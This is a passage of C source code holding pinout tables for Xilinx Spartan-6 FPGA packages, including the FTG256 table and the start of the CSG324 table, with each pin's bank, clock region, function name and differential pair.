"IO_L37P_GCLK13_0", 37, 1 }, { "P123", 0, "TR", "IO_L37N_GCLK12_0", 37, 0 }, { "P121", 0, "TR", "IO_L62P_0", 62, 1 }, { "P120", 0, "TR", "IO_L62N_VREF_0", 62, 0 }, { "P119", 0, "TR", "IO_L63P_SCP7_0", 63, 1 }, { "P118", 0, "TR", "IO_L63N_SCP6_0", 63, 0 }, { "P117", 0, "TR", "IO_L64P_SCP5_0", 64, 1 }, { "P116", 0, "TR", "IO_L64N_SCP4_0", 64, 0 }, { "P115", 0, "TR", "IO_L65P_SCP3_0", 65, 1 }, { "P114", 0, "TR", "IO_L65N_SCP2_0", 65, 0 }, { "P112", 0, "TR", "IO_L66P_SCP1_0", 66, 1 }, { "P111", 0, "TR", "IO_L66N_SCP0_0", 66, 0 }, { "P109", -1, "NA", "TCK", 0, 0 }, { "P110", -1, "NA", "TDI", 0, 0 }, { "P107", -1, "NA", "TMS", 0, 0 }, { "P106", -1, "NA", "TDO", 0, 0 }, { "P105", 1, "RT", "IO_L1P_1", 1, 1 }, { "P104", 1, "RT", "IO_L1N_VREF_1", 1, 0 }, { "P102", 1, "RT", "IO_L32P_1", 32, 1 }, { "P101", 1, "RT", "IO_L32N_1", 32, 0 }, { "P100", 1, "RT", "IO_L33P_1", 33, 1 }, { "P99", 1, "RT", "IO_L33N_1", 33, 0 }, { "P98", 1, "RT", "IO_L34P_1", 34, 1 }, { "P97", 1, "RT", "IO_L34N_1", 34, 0 }, { "P95", 1, "RT", "IO_L40P_GCLK11_1", 40, 1 }, { "P94", 1, "RT", "IO_L40N_GCLK10_1", 40, 0 }, { "P93", 1, "RT", "IO_L41P_GCLK9_IRDY1_1", 41, 1 }, { "P92", 1, "RT", "IO_L41N_GCLK8_1", 41, 0 }, { "P88", 1, "RB", "IO_L42P_GCLK7_1", 42, 1 }, { "P87", 1, "RB", "IO_L42N_GCLK6_TRDY1_1", 42, 0 }, { "P85", 1, "RB", "IO_L43P_GCLK5_1", 43, 1 }, { "P84", 1, "RB", "IO_L43N_GCLK4_1", 43, 0 }, { "P83", 1, "RB", "IO_L45P_1", 45, 1 }, { "P82", 1, "RB", "IO_L45N_1", 45, 0 }, { "P81", 1, "RB", "IO_L46P_1", 46, 1 }, { "P80", 1, "RB", "IO_L46N_1", 46, 0 }, { "P79", 1, "RB", "IO_L47P_1", 47, 1 }, { "P78", 1, "RB", "IO_L47N_1", 47, 0 }, { "P75", 1, "RB", "IO_L74P_AWAKE_1", 74, 1 }, { "P74", 1, "RB", "IO_L74N_DOUT_BUSY_1", 74, 0 }, { "P73", -1, "NA", "SUSPEND", 0, 0 }, { "P72", 2, "NA", "CMPCS_B_2", 0, 0 }, { "P71", 2, "NA", "DONE_2", 0, 0 }, { "P70", 2, "BR", "IO_L1P_CCLK_2", 1, 1 }, { "P69", 2, "BR", "IO_L1N_M0_CMPMISO_2", 1, 0 }, { "P67", 2, "BR", "IO_L2P_CMPCLK_2", 2, 1 }, { "P66", 2, "BR", "IO_L2N_CMPMOSI_2", 2, 0 }, { "P65", 2, "BR", "IO_L3P_D0_DIN_MISO_MISO1_2", 3, 1 }, { "P64", 2, "BR", "IO_L3N_MOSI_CSI_B_MISO0_2", 3, 0 }, { "P62", 2, "BR", "IO_L12P_D1_MISO2_2", 12, 1 }, { "P61", 2, "BR", "IO_L12N_D2_MISO3_2", 12, 0 }, { "P60", 2, "BR", "IO_L13P_M1_2", 13, 1 }, { "P59", 2, "BR", "IO_L13N_D10_2", 13, 0 }, { "P58", 2, "BR", "IO_L14P_D11_2", 14, 1 }, { "P57", 2, "BR", "IO_L14N_D12_2", 14, 0 }, { "P56", 2, "BR", "IO_L30P_GCLK1_D13_2", 30, 1 }, { "P55", 2, "BR", "IO_L30N_GCLK0_USERCCLK_2", 30, 0 }, { "P51", 2, "BL", "IO_L31P_GCLK31_D14_2", 31, 1 }, { "P50", 2, "BL", "IO_L31N_GCLK30_D15_2", 31, 0 }, { "P48", 2, "BL", "IO_L48P_D7_2", 48, 1 }, { "P47", 2, "BL", "IO_L48N_RDWR_B_VREF_2", 48, 0 }, { "P46", 2, "BL", "IO_L49P_D3_2", 49, 1 }, { "P45", 2, "BL", "IO_L49N_D4_2", 49, 0 }, { "P44", 2, "BL", "IO_L62P_D5_2", 62, 1 }, { "P43", 2, "BL", "IO_L62N_D6_2", 62, 0 }, { "P41", 2, "BL", "IO_L64P_D8_2", 64, 1 }, { "P40", 2, "BL", "IO_L64N_D9_2", 64, 0 }, { "P39", 2, "BL", "IO_L65P_INIT_B_2", 65, 1 }, { "P38", 2, "BL", "IO_L65N_CSO_B_2", 65, 0 }, { "P37", 2, "NA", "PROGRAM_B_2", 0, 0 }, { "P35", 3, "LB", "IO_L1P_3", 1, 1 }, { "P34", 3, "LB", "IO_L1N_VREF_3", 1, 0 }, { "P33", 3, "LB", "IO_L2P_3", 2, 1 }, { "P32", 3, "LB", "IO_L2N_3", 2, 0 }, { "P30", 3, "LB", "IO_L36P_3", 36, 1 }, { "P29", 3, "LB", "IO_L36N_3", 36, 0 }, { "P27", 3, "LB", "IO_L37P_3", 37, 1 }, { "P26", 3, "LB", "IO_L37N_3", 37, 0 }, { "P24", 3, "LB", "IO_L41P_GCLK27_3", 41, 1 }, { "P23", 3, "LB", "IO_L41N_GCLK26_3", 41, 0 }, { "P22", 3, "LB", "IO_L42P_GCLK25_TRDY2_3", 42, 1 }, { "P21", 3, "LB", "IO_L42N_GCLK24_3", 42, 0 }, { "P17", 3, "LT", "IO_L43P_GCLK23_3", 43, 1 }, { "P16", 3, "LT", "IO_L43N_GCLK22_IRDY2_3", 43, 0 }, { "P15", 3, "LT", "IO_L44P_GCLK21_3", 44, 1 }, { "P14", 3, "LT", "IO_L44N_GCLK20_3", 44, 0 }, { "P12", 3, "LT", "IO_L49P_3", 49, 1 }, { "P11", 3, "LT", "IO_L49N_3", 49, 0 }, { "P10", 3, "LT", "IO_L50P_3", 50, 1 }, { "P9", 3, "LT", "IO_L50N_3", 50, 0 }, { "P8", 3, "LT", "IO_L51P_3", 51, 1 }, { "P7", 3, "LT", "IO_L51N_3", 51, 0 }, { "P6", 3, "LT", "IO_L52P_3", 52, 1 }, { "P5", 3, "LT", "IO_L52N_3", 52, 0 }, { "P2", 3, "LT", "IO_L83P_3", 83, 1 }, { "P1", 3, "LT", "IO_L83N_VREF_3", 83, 0 }, { "P108", -1, "NA", "GND", 0, 0 }, { "P113", -1, "NA", "GND", 0, 0 }, { "P13", -1, "NA", "GND", 0, 0 }, { "P130", -1, "NA", "GND", 0, 0 }, { "P136", -1, "NA", "GND", 0, 0 }, { "P25", -1, "NA", "GND", 0, 0 }, { "P3", -1, "NA", "GND", 0, 0 }, { "P49", -1, "NA", "GND", 0, 0 }, { "P54", -1, "NA", "GND", 0, 0 }, { "P68", -1, "NA", "GND", 0, 0 }, { "P77", -1, "NA", "GND", 0, 0 }, { "P91", -1, "NA", "GND", 0, 0 }, { "P96", -1, "NA", "GND", 0, 0 }, { "P129", -1, "NA", "VCCAUX", 0, 0 }, { "P20", -1, "NA", "VCCAUX", 0, 0 }, { "P36", -1, "NA", "VCCAUX", 0, 0 }, { "P53", -1, "NA", "VCCAUX", 0, 0 }, { "P90", -1, "NA", "VCCAUX", 0, 0 }, { "P128", -1, "NA", "VCCINT", 0, 0 }, { "P19", -1, "NA", "VCCINT", 0, 0 }, { "P28", -1, "NA", "VCCINT", 0, 0 }, { "P52", -1, "NA", "VCCINT", 0, 0 }, { "P89", -1, "NA", "VCCINT", 0, 0 }, { "P122", 0, "NA", "VCCO_0", 0, 0 }, { "P125", 0, "NA", "VCCO_0", 0, 0 }, { "P135", 0, "NA", "VCCO_0", 0, 0 }, { "P103", 1, "NA", "VCCO_1", 0, 0 }, { "P76", 1, "NA", "VCCO_1", 0, 0 }, { "P86", 1, "NA", "VCCO_1", 0, 0 }, { "P42", 2, "NA", "VCCO_2", 0, 0 }, { "P63", 2, "NA", "VCCO_2", 0, 0 }, { "P18", 3, "NA", "VCCO_3", 0, 0 }, { "P31", 3, "NA", "VCCO_3", 0, 0 }, { "P4", 3, "NA", "VCCO_3", 0, 0 }, // rest is unbonded (.description = 0) { "UNB113", 2, "BR", 0, 23, 1 }, { "UNB114", 2, "BR", 0, 23, 0 }, { "UNB115", 2, "BR", 0, 16, 1 }, { "UNB116", 2, "BR", 0, 16, 0 }, { "UNB117", 2, "BR", 0, 29, 1 }, { "UNB118", 2, "BR", 0, 29, 0 }, { "UNB123", 2, "BL", 0, 32, 1 }, { "UNB124", 2, "BL", 0, 32, 0 }, { "UNB125", 2, "BL", 0, 45, 1 }, { "UNB126", 2, "BL", 0, 45, 0 }, { "UNB127", 2, "BL", 0, 41, 1 }, { "UNB128", 2, "BL", 0, 41, 0 }, { "UNB129", 2, "BL", 0, 43, 1 }, { "UNB130", 2, "BL", 0, 43, 0 }, { "UNB131", 2, "BL", 0, 46, 1 }, { "UNB132", 2, "BL", 0, 46, 0 }, { "UNB139", 2, "BL", 0, 63, 1 }, { "UNB140", 2, "BL", 0, 63, 0 }, { "UNB149", 3, "LB", 0, 31, 1 }, { "UNB150", 3, "LB", 0, 31, 0 }, { "UNB151", 3, "LB", 0, 32, 1 }, { "UNB152", 3, "LB", 0, 32, 0 }, { "UNB153", 3, "LB", 0, 33, 1 }, { "UNB154", 3, "LB", 0, 33, 0 }, { "UNB155", 3, "LB", 0, 34, 1 }, { "UNB156", 3, "LB", 0, 34, 0 }, { "UNB157", 3, "LB", 0, 35, 1 }, { "UNB158", 3, "LB", 0, 35, 0 }, { "UNB163", 3, "LB", 0, 38, 1 }, { "UNB164", 3, "LB", 0, 38, 0 }, { "UNB165", 3, "LB", 0, 39, 1 }, { "UNB166", 3, "LB", 0, 39, 0 }, { "UNB167", 3, "LB", 0, 40, 1 }, { "UNB168", 3, "LB", 0, 40, 0 }, { "UNB177", 3, "LT", 0, 45, 1 }, { "UNB178", 3, "LT", 0, 45, 0 }, { "UNB179", 3, "LT", 0, 46, 1 }, { "UNB180", 3, "LT", 0, 46, 0 }, { "UNB181", 3, "LT", 0, 47, 1 }, { "UNB182", 3, "LT", 0, 47, 0 }, { "UNB183", 3, "LT", 0, 48, 1 }, { "UNB184", 3, "LT", 0, 48, 0 }, { "UNB193", 3, "LT", 0, 53, 1 }, { "UNB194", 3, "LT", 0, 53, 0 }, { "UNB195", 3, "LT", 0, 54, 1 }, { "UNB196", 3, "LT", 0, 54, 0 }, { "UNB197", 3, "LT", 0, 55, 1 }, { "UNB198", 3, "LT", 0, 55, 0 }, { "UNB9", 0, "TL", 0, 5, 1 }, { "UNB10", 0, "TL", 0, 5, 0 }, { "UNB11", 0, "TL", 0, 6, 1 }, { "UNB12", 0, "TL", 0, 6, 0 }, { "UNB13", 0, "TL", 0, 10, 1 }, { "UNB14", 0, "TL", 0, 10, 0 }, { "UNB15", 0, "TL", 0, 8, 1 }, { "UNB16", 0, "TL", 0, 8, 0 }, { "UNB17", 0, "TL", 0, 11, 1 }, { "UNB18", 0, "TL", 0, 11, 0 }, { "UNB19", 0, "TL", 0, 33, 1 }, { "UNB20", 0, "TL", 0, 33, 0 }, { "UNB29", 0, "TR", 0, 38, 1 }, { "UNB30", 0, "TR", 0, 38, 0 }, { "UNB31", 0, "TR", 0, 39, 1 }, { "UNB32", 0, "TR", 0, 39, 0 }, { "UNB33", 0, "TR", 0, 41, 1 }, { "UNB34", 0, "TR", 0, 41, 0 }, { "UNB47", 1, "RT", 0, 29, 1 }, { "UNB48", 1, "RT", 0, 29, 0 }, { "UNB49", 1, "RT", 0, 30, 1 }, { "UNB50", 1, "RT", 0, 30, 0 }, { "UNB51", 1, "RT", 0, 31, 1 }, { "UNB52", 1, "RT", 0, 31, 0 }, { "UNB59", 1, "RT", 0, 35, 1 }, { "UNB60", 1, "RT", 0, 35, 0 }, { "UNB61", 1, "RT", 0, 36, 1 }, { "UNB62", 1, "RT", 0, 36, 0 }, { "UNB63", 1, "RT", 0, 37, 1 }, { "UNB64", 1, "RT", 0, 37, 0 }, { "UNB65", 1, "RT", 0, 38, 1 }, { "UNB66", 1, "RT", 0, 38, 0 }, { "UNB67", 1, "RT", 0, 39, 1 }, { "UNB68", 1, "RT", 0, 39, 0 }, { "UNB77", 1, "RB", 0, 44, 1 }, { "UNB78", 1, "RB", 0, 44, 0 }, { "UNB85", 1, "RB", 0, 48, 1 }, { "UNB86", 1, "RB", 0, 48, 0 }, { "UNB87", 1, "RB", 0, 49, 1 }, { "UNB88", 1, "RB", 0, 49, 0 }, { "UNB89", 1, "RB", 0, 50, 1 }, { "UNB90", 1, "RB", 0, 50, 0 }, { "UNB91", 1, "RB", 0, 51, 1 }, { "UNB92", 1, "RB", 0, 51, 0 }, { "UNB93", 1, "RB", 0, 52, 1 }, { "UNB94", 1, "RB", 0, 52, 0 }, { "UNB95", 1, "RB", 0, 53, 1 }, { "UNB96", 1, "RB", 0, 53, 0 }, { "UNB97", 1, "RB", 0, 61, 1 }, { "UNB98", 1, "RB", 0, 61, 0 }}}; static const struct xc6_pkg_info pkg_ftg256 = { .pkg = FTG256, // todo: any unbonded pins? .num_pins = /*physical pinouts*/ 256 + /*on die but unbonded*/ 0, // name bank bufio2 description pair pos_side .pin = { { "C4", 0, "TL", "IO_L1P_HSWAPEN_0", 1, 1 }, { "A4", 0, "TL", "IO_L1N_VREF_0", 1, 0 }, { "B5", 0, "TL", "IO_L2P_0", 2, 1 }, { "A5", 0, "TL", "IO_L2N_0", 2, 0 }, { "D5", 0, "TL", "IO_L3P_0", 3, 1 }, { "C5", 0, "TL", "IO_L3N_0", 3, 0 }, { "B6", 0, "TL", "IO_L4P_0", 4, 1 }, { "A6", 0, "TL", "IO_L4N_0", 4, 0 }, { "F7", 0, "TL", "IO_L5P_0", 5, 1 }, { "E6", 0, "TL", "IO_L5N_0", 5, 0 }, { "C7", 0, "TL", "IO_L6P_0", 6, 1 }, { "A7", 0, "TL", "IO_L6N_0", 6, 0 }, { "D6", 0, "TL", "IO_L7P_0", 7, 1 }, { "C6", 0, "TL", "IO_L7N_0", 7, 0 }, { "B8", 0, "TL", "IO_L33P_0", 33, 1 }, { "A8", 0, "TL", "IO_L33N_0", 33, 0 }, { "C9", 0, "TL", "IO_L34P_GCLK19_0", 34, 1 }, { "A9", 0, "TL", "IO_L34N_GCLK18_0", 34, 0 }, { "B10", 0, "TL", "IO_L35P_GCLK17_0", 35, 1 }, { "A10", 0, "TL", "IO_L35N_GCLK16_0", 35, 0 }, { "E7", 0, "TR", "IO_L36P_GCLK15_0", 36, 1 }, { "E8", 0, "TR", "IO_L36N_GCLK14_0", 36, 0 }, { "E10", 0, "TR", "IO_L37P_GCLK13_0", 37, 1 }, { "C10", 0, "TR", "IO_L37N_GCLK12_0", 37, 0 }, { "D8", 0, "TR", "IO_L38P_0", 38, 1 }, { "C8", 0, "TR", "IO_L38N_VREF_0", 38, 0 }, { "C11", 0, "TR", "IO_L39P_0", 39, 1 }, { "A11", 0, "TR", "IO_L39N_0", 39, 0 }, { "F9", 0, "TR", "IO_L40P_0", 40, 1 }, { "D9", 0, "TR", "IO_L40N_0", 40, 0 }, { "B12", 0, "TR", "IO_L62P_0", 62, 1 }, { "A12", 0, "TR", "IO_L62N_VREF_0", 62, 0 }, { "C13", 0, "TR", "IO_L63P_SCP7_0", 63, 1 }, { "A13", 0, "TR", "IO_L63N_SCP6_0", 63, 0 }, { "F10", 0, "TR", "IO_L64P_SCP5_0", 64, 1 }, { "E11", 0, "TR", "IO_L64N_SCP4_0", 64, 0 }, { "B14", 0, "TR", "IO_L65P_SCP3_0", 65, 1 }, { "A14", 0, "TR", "IO_L65N_SCP2_0", 65, 0 }, { "D11", 0, "TR", "IO_L66P_SCP1_0", 66, 1 }, { "D12", 0, "TR", "IO_L66N_SCP0_0", 66, 0 }, { "C14", -1, "NA", "TCK" }, { "C12", -1, "NA", "TDI" }, { "A15", -1, "NA", "TMS" }, { "E14", -1, "NA", "TDO" }, { "E13", 1, "RT", "IO_L1P_A25_1", 1, 1 }, { "E12", 1, "RT", "IO_L1N_A24_VREF_1", 1, 0 }, { "B15", 1, "RT", "IO_L29P_A23_M1A13_1", 29, 1 }, { "B16", 1, "RT", "IO_L29N_A22_M1A14_1", 29, 0 }, { "F12", 1, "RT", "IO_L30P_A21_M1RESET_1", 30, 1 }, { "G11", 1, "RT", "IO_L30N_A20_M1A11_1", 30, 0 }, { "D14", 1, "RT", "IO_L31P_A19_M1CKE_1", 31, 1 }, { "D16", 1, "RT", "IO_L31N_A18_M1A12_1", 31, 0 }, { "F13", 1, "RT", "IO_L32P_A17_M1A8_1", 32, 1 }, { "F14", 1, "RT", "IO_L32N_A16_M1A9_1", 32, 0 }, { "C15", 1, "RT", "IO_L33P_A15_M1A10_1", 33, 1 }, { "C16", 1, "RT", "IO_L33N_A14_M1A4_1", 33, 0 }, { "E15", 1, "RT", "IO_L34P_A13_M1WE_1", 34, 1 }, { "E16", 1, "RT", "IO_L34N_A12_M1BA2_1", 34, 0 }, { "F15", 1, "RT", "IO_L35P_A11_M1A7_1", 35, 1 }, { "F16", 1, "RT", "IO_L35N_A10_M1A2_1", 35, 0 }, { "G14", 1, "RT", "IO_L36P_A9_M1BA0_1", 36, 1 }, { "G16", 1, "RT", "IO_L36N_A8_M1BA1_1", 36, 0 }, { "H15", 1, "RT", "IO_L37P_A7_M1A0_1", 37, 1 }, { "H16", 1, "RT", "IO_L37N_A6_M1A1_1", 37, 0 }, { "G12", 1, "RT", "IO_L38P_A5_M1CLK_1", 38, 1 }, { "H11", 1, "RT", "IO_L38N_A4_M1CLKN_1", 38, 0 }, { "H13", 1, "RT", "IO_L39P_M1A3_1", 39, 1 }, { "H14", 1, "RT", "IO_L39N_M1ODT_1", 39, 0 }, { "J11", 1, "RT", "IO_L40P_GCLK11_M1A5_1", 40, 1 }, { "J12", 1, "RT", "IO_L40N_GCLK10_M1A6_1", 40, 0 }, { "J13", 1, "RT", "IO_L41P_GCLK9_IRDY1_M1RASN_1", 41, 1 }, { "K14", 1, "RT", "IO_L41N_GCLK8_M1CASN_1", 41, 0 }, { "K12", 1, "RB", "IO_L42P_GCLK7_M1UDM_1", 42, 1 }, { "K11", 1, "RB", "IO_L42N_GCLK6_TRDY1_M1LDM_1", 42, 0 }, { "J14", 1, "RB", "IO_L43P_GCLK5_M1DQ4_1", 43, 1 }, { "J16", 1, "RB", "IO_L43N_GCLK4_M1DQ5_1", 43, 0 }, { "K15", 1, "RB", "IO_L44P_A3_M1DQ6_1", 44, 1 }, { "K16", 1, "RB", "IO_L44N_A2_M1DQ7_1", 44, 0 }, { "N14", 1, "RB", "IO_L45P_A1_M1LDQS_1", 45, 1 }, { "N16", 1, "RB", "IO_L45N_A0_M1LDQSN_1", 45, 0 }, { "M15", 1, "RB", "IO_L46P_FCS_B_M1DQ2_1", 46, 1 }, { "M16", 1, "RB", "IO_L46N_FOE_B_M1DQ3_1", 46, 0 }, { "L14", 1, "RB", "IO_L47P_FWE_B_M1DQ0_1", 47, 1 }, { "L16", 1, "RB", "IO_L47N_LDC_M1DQ1_1", 47, 0 }, { "P15", 1, "RB", "IO_L48P_HDC_M1DQ8_1", 48, 1 }, { "P16", 1, "RB", "IO_L48N_M1DQ9_1", 48, 0 }, { "R15", 1, "RB", "IO_L49P_M1DQ10_1", 49, 1 }, { "R16", 1, "RB", "IO_L49N_M1DQ11_1", 49, 0 }, { "R14", 1, "RB", "IO_L50P_M1UDQS_1", 50, 1 }, { "T15", 1, "RB", "IO_L50N_M1UDQSN_1", 50, 0 }, { "T14", 1, "RB", "IO_L51P_M1DQ12_1", 51, 1 }, { "T13", 1, "RB", "IO_L51N_M1DQ13_1", 51, 0 }, { "R12", 1, "RB", "IO_L52P_M1DQ14_1", 52, 1 }, { "T12", 1, "RB", "IO_L52N_M1DQ15_1", 52, 0 }, { "L12", 1, "RB", "IO_L53P_1", 53, 1 }, { "L13", 1, "RB", "IO_L53N_VREF_1", 53, 0 }, { "M13", 1, "RB", "IO_L74P_AWAKE_1", 74, 1 }, { "M14", 1, "RB", "IO_L74N_DOUT_BUSY_1", 74, 0 }, { "P14", -1, "NA", "SUSPEND" }, { "L11", 2, "NA", "CMPCS_B_2" }, { "P13", 2, "NA", "DONE_2" }, { "R11", 2, "BR", "IO_L1P_CCLK_2", 1, 1 }, { "T11", 2, "BR", "IO_L1N_M0_CMPMISO_2", 1, 0 }, { "M12", 2, "BR", "IO_L2P_CMPCLK_2", 2, 1 }, { "M11", 2, "BR", "IO_L2N_CMPMOSI_2", 2, 0 }, { "P10", 2, "BR", "IO_L3P_D0_DIN_MISO_MISO1_2", 3, 1 }, { "T10", 2, "BR", "IO_L3N_MOSI_CSI_B_MISO0_2", 3, 0 }, { "N12", 2, "BR", "IO_L12P_D1_MISO2_2", 12, 1 }, { "P12", 2, "BR", "IO_L12N_D2_MISO3_2", 12, 0 }, { "N11", 2, "BR", "IO_L13P_M1_2", 13, 1 }, { "P11", 2, "BR", "IO_L13N_D10_2", 13, 0 }, { "N9", 2, "BR", "IO_L14P_D11_2", 14, 1 }, { "P9", 2, "BR", "IO_L14N_D12_2", 14, 0 }, { "R9", 2, "BR", "IO_L23P_2", 23, 1 }, { "T9", 2, "BR", "IO_L23N_2", 23, 0 }, { "L10", 2, "BR", "IO_L16P_2", 16, 1 }, { "M10", 2, "BR", "IO_L16N_VREF_2", 16, 0 }, { "M9", 2, "BR", "IO_L29P_GCLK3_2", 29, 1 }, { "N8", 2, "BR", "IO_L29N_GCLK2_2", 29, 0 }, { "P8", 2, "BR", "IO_L30P_GCLK1_D13_2", 30, 1 }, { "T8", 2, "BR", "IO_L30N_GCLK0_USERCCLK_2", 30, 0 }, { "P7", 2, "BL", "IO_L31P_GCLK31_D14_2", 31, 1 }, { "M7", 2, "BL", "IO_L31N_GCLK30_D15_2", 31, 0 }, { "R7", 2, "BL", "IO_L32P_GCLK29_2", 32, 1 }, { "T7", 2, "BL", "IO_L32N_GCLK28_2", 32, 0 }, { "P6", 2, "BL", "IO_L47P_2", 47, 1 }, { "T6", 2, "BL", "IO_L47N_2", 47, 0 }, { "R5", 2, "BL", "IO_L48P_D7_2", 48, 1 }, { "T5", 2, "BL", "IO_L48N_RDWR_B_VREF_2", 48, 0 }, { "N5", 2, "BL", "IO_L49P_D3_2", 49, 1 }, { "P5", 2, "BL", "IO_L49N_D4_2", 49, 0 }, { "L8", 2, "BL", "IO_L62P_D5_2", 62, 1 }, { "L7", 2, "BL", "IO_L62N_D6_2", 62, 0 }, { "P4", 2, "BL", "IO_L63P_2", 63, 1 }, { "T4", 2, "BL", "IO_L63N_2", 63, 0 }, { "M6", 2, "BL", "IO_L64P_D8_2", 64, 1 }, { "N6", 2, "BL", "IO_L64N_D9_2", 64, 0 }, { "R3", 2, "BL", "IO_L65P_INIT_B_2", 65, 1 }, { "T3", 2, "BL", "IO_L65N_CSO_B_2", 65, 0 }, { "T2", 2, "NA", "PROGRAM_B_2" }, { "M4", 3, "LB", "IO_L1P_3", 1, 1 }, { "M3", 3, "LB", "IO_L1N_VREF_3", 1, 0 }, { "M5", 3, "LB", "IO_L2P_3", 2, 1 }, { "N4", 3, "LB", "IO_L2N_3", 2, 0 }, { "R2", 3, "LB", "IO_L32P_M3DQ14_3", 32, 1 }, { "R1", 3, "LB", "IO_L32N_M3DQ15_3", 32, 0 }, { "P2", 3, "LB", "IO_L33P_M3DQ12_3", 33, 1 }, { "P1", 3, "LB", "IO_L33N_M3DQ13_3", 33, 0 }, { "N3", 3, "LB", "IO_L34P_M3UDQS_3", 34, 1 }, { "N1", 3, "LB", "IO_L34N_M3UDQSN_3", 34, 0 }, { "M2", 3, "LB", "IO_L35P_M3DQ10_3", 35, 1 }, { "M1", 3, "LB", "IO_L35N_M3DQ11_3", 35, 0 }, { "L3", 3, "LB", "IO_L36P_M3DQ8_3", 36, 1 }, { "L1", 3, "LB", "IO_L36N_M3DQ9_3", 36, 0 }, { "K2", 3, "LB", "IO_L37P_M3DQ0_3", 37, 1 }, { "K1", 3, "LB", "IO_L37N_M3DQ1_3", 37, 0 }, { "J3", 3, "LB", "IO_L38P_M3DQ2_3", 38, 1 }, { "J1", 3, "LB", "IO_L38N_M3DQ3_3", 38, 0 }, { "H2", 3, "LB", "IO_L39P_M3LDQS_3", 39, 1 }, { "H1", 3, "LB", "IO_L39N_M3LDQSN_3", 39, 0 }, { "G3", 3, "LB", "IO_L40P_M3DQ6_3", 40, 1 }, { "G1", 3, "LB", "IO_L40N_M3DQ7_3", 40, 0 }, { "F2", 3, "LB", "IO_L41P_GCLK27_M3DQ4_3", 41, 1 }, { "F1", 3, "LB", "IO_L41N_GCLK26_M3DQ5_3", 41, 0 }, { "K3", 3, "LB", "IO_L42P_GCLK25_TRDY2_M3UDM_3", 42, 1 }, { "J4", 3, "LB", "IO_L42N_GCLK24_M3LDM_3", 42, 0 }, { "J6", 3, "LT", "IO_L43P_GCLK23_M3RASN_3", 43, 1 }, { "H5", 3, "LT", "IO_L43N_GCLK22_IRDY2_M3CASN_3", 43, 0 }, { "H4", 3, "LT", "IO_L44P_GCLK21_M3A5_3", 44, 1 }, { "H3", 3, "LT", "IO_L44N_GCLK20_M3A6_3", 44, 0 }, { "L4", 3, "LT", "IO_L45P_M3A3_3", 45, 1 }, { "L5", 3, "LT", "IO_L45N_M3ODT_3", 45, 0 }, { "E2", 3, "LT", "IO_L46P_M3CLK_3", 46, 1 }, { "E1", 3, "LT", "IO_L46N_M3CLKN_3", 46, 0 }, { "K5", 3, "LT", "IO_L47P_M3A0_3", 47, 1 }, { "K6", 3, "LT", "IO_L47N_M3A1_3", 47, 0 }, { "C3", 3, "LT", "IO_L48P_M3BA0_3", 48, 1 }, { "C2", 3, "LT", "IO_L48N_M3BA1_3", 48, 0 }, { "D3", 3, "LT", "IO_L49P_M3A7_3", 49, 1 }, { "D1", 3, "LT", "IO_L49N_M3A2_3", 49, 0 }, { "C1", 3, "LT", "IO_L50P_M3WE_3", 50, 1 }, { "B1", 3, "LT", "IO_L50N_M3BA2_3", 50, 0 }, { "G6", 3, "LT", "IO_L51P_M3A10_3", 51, 1 }, { "G5", 3, "LT", "IO_L51N_M3A4_3", 51, 0 }, { "B2", 3, "LT", "IO_L52P_M3A8_3", 52, 1 }, { "A2", 3, "LT", "IO_L52N_M3A9_3", 52, 0 }, { "F4", 3, "LT", "IO_L53P_M3CKE_3", 53, 1 }, { "F3", 3, "LT", "IO_L53N_M3A12_3", 53, 0 }, { "E4", 3, "LT", "IO_L54P_M3RESET_3", 54, 1 }, { "E3", 3, "LT", "IO_L54N_M3A11_3", 54, 0 }, { "F6", 3, "LT", "IO_L55P_M3A13_3", 55, 1 }, { "F5", 3, "LT", "IO_L55N_M3A14_3", 55, 0 }, { "B3", 3, "LT", "IO_L83P_3", 83, 1 }, { "A3", 3, "LT", "IO_L83N_VREF_3", 83, 0 }, { "A1", -1, "NA", "GND" }, { "A16", -1, "NA", "GND" }, { "B11", -1, "NA", "GND" }, { "B7", -1, "NA", "GND" }, { "D13", -1, "NA", "GND" }, { "D4", -1, "NA", "GND" }, { "E9", -1, "NA", "GND" }, { "G15", -1, "NA", "GND" }, { "G2", -1, "NA", "GND" }, { "G8", -1, "NA", "GND" }, { "H12", -1, "NA", "GND" }, { "H7", -1, "NA", "GND" }, { "H9", -1, "NA", "GND" }, { "J5", -1, "NA", "GND" }, { "J8", -1, "NA", "GND" }, { "K7", -1, "NA", "GND" }, { "K9", -1, "NA", "GND" }, { "L15", -1, "NA", "GND" }, { "L2", -1, "NA", "GND" }, { "M8", -1, "NA", "GND" }, { "N13", -1, "NA", "GND" }, { "P3", -1, "NA", "GND" }, { "R10", -1, "NA", "GND" }, { "R6", -1, "NA", "GND" }, { "T1", -1, "NA", "GND" }, { "T16", -1, "NA", "GND" }, { "E5", -1, "NA", "VCCAUX" }, { "F11", -1, "NA", "VCCAUX" }, { "F8", -1, "NA", "VCCAUX" }, { "G10", -1, "NA", "VCCAUX" }, { "H6", -1, "NA", "VCCAUX" }, { "J10", -1, "NA", "VCCAUX" }, { "L6", -1, "NA", "VCCAUX" }, { "L9", -1, "NA", "VCCAUX" }, { "G7", -1, "NA", "VCCINT" }, { "G9", -1, "NA", "VCCINT" }, { "H10", -1, "NA", "VCCINT" }, { "H8", -1, "NA", "VCCINT" }, { "J7", -1, "NA", "VCCINT" }, { "J9", -1, "NA", "VCCINT" }, { "K10", -1, "NA", "VCCINT" }, { "K8", -1, "NA", "VCCINT" }, { "B13", 0, "NA", "VCCO_0" }, { "B4", 0, "NA", "VCCO_0" }, { "B9", 0, "NA", "VCCO_0" }, { "D10", 0, "NA", "VCCO_0" }, { "D7", 0, "NA", "VCCO_0" }, { "D15", 1, "NA", "VCCO_1" }, { "G13", 1, "NA", "VCCO_1" }, { "J15", 1, "NA", "VCCO_1" }, { "K13", 1, "NA", "VCCO_1" }, { "N15", 1, "NA", "VCCO_1" }, { "R13", 1, "NA", "VCCO_1" }, { "N10", 2, "NA", "VCCO_2" }, { "N7", 2, "NA", "VCCO_2" }, { "R4", 2, "NA", "VCCO_2" }, { "R8", 2, "NA", "VCCO_2" }, { "D2", 3, "NA", "VCCO_3" }, { "G4", 3, "NA", "VCCO_3" }, { "J2", 3, "NA", "VCCO_3" }, { "K4", 3, "NA", "VCCO_3" }, { "N2", 3, "NA", "VCCO_3" }}}; static const struct xc6_pkg_info pkg_csg324 = { .pkg = CSG324, .num_pins = 324, .pin = { { "D4", 0, "TL", "IO_L1P_HSWAPEN_0", 1, 1 }, { "C4", 0, "TL", "IO_L1N_VREF_0", 1, 0 }, { "B2", 0, "TL", "IO_L2P_0", 2, 1 }, { 